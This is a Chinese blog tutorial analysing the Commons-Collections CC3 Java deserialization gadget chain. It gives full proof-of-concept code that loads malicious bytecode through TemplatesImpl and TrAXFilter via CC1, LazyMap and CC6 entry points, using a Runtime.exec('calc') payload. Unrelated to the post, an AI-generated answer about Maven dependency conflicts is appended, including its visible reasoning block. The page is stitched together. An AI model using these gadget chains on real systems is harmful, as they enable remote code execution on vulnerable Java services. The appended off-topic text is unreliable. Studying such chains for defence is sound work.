Commons-Collections篇-CC3链

前言

我们分析前两条链CC1和CC6时,都是利用invoke反射调用的Runtime().getRuntime().exec()来执行命令。而很多时候服务器的代码当中的黑名单会选择禁用Runtime

CC3链主要通过动态加载类加载机制来实现自动执行恶意类代码

1.环境安装

可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习

2.分析

CC3的sink点在于defineClass()

在类的动态加载中,有一种利用ClassLoader#defineClass直接加载字节码的手段

ClassLoader.loadClass()—> ClassLoader.findClass()–>ClassLoader.defineClass()

在这里插入图片描述
defineClass()往往都是protected类型的,作用是处理前面传入的字节码,将其处理称真正的Java类,我们平常使用只能通过反射去调用.
如果只加载恶意类,不初始化的话,是不会执行代码,还需要一个实例化操作

2.1 Templateslmpl类分析

我们寻找谁调用了这个方法,找到了TemplatesImpl类中TransletClassLoader#defineClass,TemplatesImpl类实现了Serializable接口,可以被序列化,但是defineClass方法为默认Default,只能在自己类中使用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们继续find Usages

在这里插入图片描述我们可以看到私有方法defineTransletClasses调用了defineClass(),但是其中有一个if判断,在过程中我们不能让if (_bytecodes == null)判定成功,不然就会抛出错误中断了
在这里插入图片描述
在同类下的getTransletInstance方法中发现了调用,并且还有实例化操作,我们继续寻找
在这里插入图片描述
我们找到了一个公开的方法,接下来开始利用

2.2 Templateslmpl类利用

2.2.1 解决阻碍

在我们之前的分析中,我们能看到有很多的if条件,这些我们都需要提前去满足解决,才能让链正常的执行下去,我们从最上层开始分析限制条件在这里插入图片描述
在这里插入图片描述

  1. _name为String类型,不能为null
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
  1. _class为Class类型的数据,必须为null 默认也是null,不用处理
  2. _bytecodes为字节类型的二维数组,不能为null
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
  1. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

我们编写一个demo进行尝试
先写一个恶意类,并将该文件进行编译为class

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\src\\main\\java\\org\\example\\Calc.java"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }

在运行之后会有一个空指针异常的错误
在这里插入图片描述
我们调试并定位到发生错误的代码处,发现_auxClasses是Null
在这里插入图片描述
所以我们现在有两种解决方法:

  1. 设置_auxClasses
  2. 让这个if (superClass.getName().equals(ABSTRACT_TRANSLET))条件判断正确

如果我们设置_auxClasses的值,上面的_transletIndex值为-1,在426行代码进行一次判定,还是会抛出错误
在这里插入图片描述
所以我们选择第二个继续分析,只要让defineClass() 方法中传进去的参数 b 数组的字节码继承了 ABSTRACT_TRANSLET 这个父类,就会判定成功
在这里插入图片描述
我们修改弹计算器的测试代码

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

重新运行上面我们的测试代码在这里插入图片描述

2.3 TrAXFilter分析及实例化

我们接着寻找newTransformer()的用法
在这里插入图片描述
在这里插入图片描述
发现在TrAXFilter 中调用了,但是我们也可以看到TrAXFilter没有继承序列化接口,所以不能反序列化

但是CC3的挖掘者发现了一个专门使用反射来动态创建对象的类InstantiateTransformer
在这里插入图片描述
在这里插入图片描述
我们可以使用这个类来实例化TrAXFilter,所以我们第一步先创建一个InstantiateTransformer实例,然后传入TrAXFilter.class

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
        new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

在这里插入图片描述
整体POC

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
        //序列化
//        serializable(o);
//        unserializable();
    }

在这里插入图片描述

2.4 CC1+TrAXFilter

我们结合CC1的入口到TrAXFilter的使用,构造POC
注意:在CC1中我们使用恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 来解决了setValue的值无法控制的问题,我们现在使用中同样要注意使用

package org.example;

import com.oracle.jrockit.jfr.ValueDefinition;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("id",1);
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(ValueDefinition.class, transformedMap);

        //序列化
        serializable(o);
        
//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

用反序列化来执行上面生成的obj文件

public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();
    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述
路线为

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        AbstractInputCheckedMapDecorator$MapEntry.setValue()
            TransformedMap.checkSetValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

2.5 CC1_LazyMap + TrAXFilter

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
        aDe.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);

        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);

        //序列化
        serializable(invocationHandler);

//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

在这里插入图片描述
路线为

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

2.6 CC6 +TrAXFilter

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tied = new TiedMapEntry(Lazy,0);
        HashMap map1 = new HashMap();
        map1.put(tied,1);
        //本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flase
        Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transform
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(Lazy,chainedTransformer);
        serializable(map1);
    }

//        unserializable();
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

在这里插入图片描述
路线为

HashMap.put()
    HashMap.hash()
        TiedMapEntry.hashCode()
        TiedMapEntry.getValue()
            LazyMap.get()
                    ChainedTransformer.transform()
                        instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

<think>好的,我现在需要帮助用户解决Maven依赖树的问题以及依赖冲突。用户之前提到他们使用的是Tomcat 8.5.84,Java 1.8,Maven 3.6.1,并且遇到了java.lang.AbstractMethodError,这可能由依赖冲突引起。现在用户想查看Maven依赖树并解决可能的冲突。 首先,我应该回顾用户之前的问题和解决方案。用户之前得到关于检查JAX-RS依赖一致性、验证Tomcat类加载机制、升级依赖和清理本地仓库的建议。现在用户更具体地询问如何解析依赖树和解决冲突,特别是提到引用[1]中的Maven依赖冲突说明,即同一groupId和artifactId下只能使用一个版本。 用户需要知道如何生成和分析依赖树。根据Maven的知识,可以使用mvn dependency:tree命令。但用户可能还需要知道如何过滤特定的依赖,例如排除不需要的库或者找到冲突的来源。 接下来,解决依赖冲突的常用方法包括排除传递性依赖、统一版本号等。用户可能需要具体的例子,比如在pom.xml中如何写exclusion标签,或者如何用dependencyManagement来统一版本。引用[1]中的例子显示,如果有多个版本,Maven会选择最近的定义,但用户可能需要明确排除旧版本。 另外,用户的环境是Maven 3.6.1,可能需要确认该版本的Maven是否与其他工具(如IDEA)兼容,尤其是在生成依赖树时是否存在已知问题。比如引用[2]提到的编译错误可能与插件版本有关,但用户现在的问题是关于依赖树,所以可能需要确保插件版本正确,或者检查是否有其他因素导致依赖解析错误。 用户提到Tomcat 8.5.84,可能需要考虑Tomcat自带的库是否与项目依赖冲突。例如,Tomcat可能包含旧的servlet-api,导致与应用中的版本冲突。这时候需要确保scope为provided,或者在依赖中排除相关库。 此外,用户可能对如何解读依赖树的输出不太清楚,需要指导如何识别冲突,例如同一个库的不同版本出现在不同的路径下,或者存在多个不同版本的相同依赖。这时候需要解释Maven的依赖调解机制,如最短路径优先和最先声明优先。 还要考虑用户是否使用了IDE(如IntelliJ IDEA),是否可以通过IDE的图形化工具查看依赖树,这可能比命令行更直观。但用户明确要求使用Maven命令,所以应重点介绍命令行方法,同时可能提到IDE的辅助功能。 最后,确保回答结构清晰,分步骤说明如何生成依赖树、分析输出、解决冲突,并提供示例代码和命令,以及注意事项,比如清理本地仓库、更新项目等。同时,相关问题要引导用户进一步了解相关主题,比如Maven插件配置、依赖管理最佳实践等。</think>### 解决方案:Maven 依赖树解析与冲突解决 针对 **Tomcat 8.5.84 + Java 1.8 + Maven 3.6.1** 环境,依赖冲突可通过以下步骤定位和修复: --- #### 一、生成依赖树并分析 1. **命令行生成依赖树** 在项目根目录执行: ```bash mvn dependency:tree > dependency_tree.txt ``` 生成的 `dependency_tree.txt` 会展示 **所有依赖的层级关系**,例如: ``` [INFO] com.example:demo:jar:1.0 [INFO] +- org.glassfish.jersey.core:jersey-server:jar:2.34:compile [INFO] | \- javax.ws.rs:javax.ws.rs-api:jar:2.1.1:compile [INFO] \- org.apache.commons:commons-math3:jar:3.6.1:compile ``` 2. **过滤关键依赖** 使用 `-Dincludes` 参数缩小范围(支持通配符): ```bash mvn dependency:tree -Dincludes=javax.ws.rs*,org.glassfish.jersey* ``` 输出示例: ``` [INFO] +- javax.ws.rs:javax.ws.rs-api:jar:2.1.1:compile [INFO] \- org.glassfish.jersey.core:jersey-server:jar:2.34:compile ``` 3. **识别冲突标志** 查找以下模式: - 同一依赖的不同版本(如 `javax.ws.rs-api:2.1.1` 和 `javax.ws.rs-api:2.0.1`) - 不同路径引入的重复依赖(如通过 A 依赖 B 间接引入,同时直接声明 B) --- #### 二、依赖冲突解决方法 1. **排除传递性依赖** 在 `pom.xml` 中通过 `<exclusions>` 移除冲突的依赖: ```xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.glassfish.jersey.core</groupId> <artifactId>jersey-server</artifactId> </exclusion> </exclusions> </dependency> ``` 2. **统一版本号** 使用 `<dependencyManagement>` 强制指定版本(覆盖其他传递性依赖): ```xml <dependencyManagement> <dependencies> <dependency> <groupId>javax.ws.rs</groupId> <artifactId>javax.ws.rs-api</artifactId> <version>2.1.1</version> </dependency> </dependencies> </dependencyManagement> ``` 3. **处理 Tomcat 容器冲突** Tomcat 8.5 自带 `servlet-api` 等库,需确保项目依赖中相关库的 `<scope>` 为 `provided`: ```xml <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> ``` --- #### 三、验证与清理 1. **更新本地仓库** 清理旧版本缓存并重新下载: ```bash mvn clean install -U ``` 2. **检查最终依赖树** 确保冲突已解决: ```bash mvn dependency:tree -Dincludes=冲突的groupId:artifactId ``` --- ### 总结 依赖冲突的核心是 **版本不一致** 或 **传递性依赖污染**。通过分析依赖树定位问题,结合排除法或版本管理统一依赖[^1]。对于 Tomcat 环境,特别注意容器自带库与应用依赖的隔离(通过 `<scope>` 配置)[^2]。 --- ### 相关问题 1. 如何通过 Maven 插件可视化依赖关系? 2. `<dependencyManagement>` 和 `<dependencies>` 的区别是什么? 3. Tomcat 如何管理多个应用的类加载隔离?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值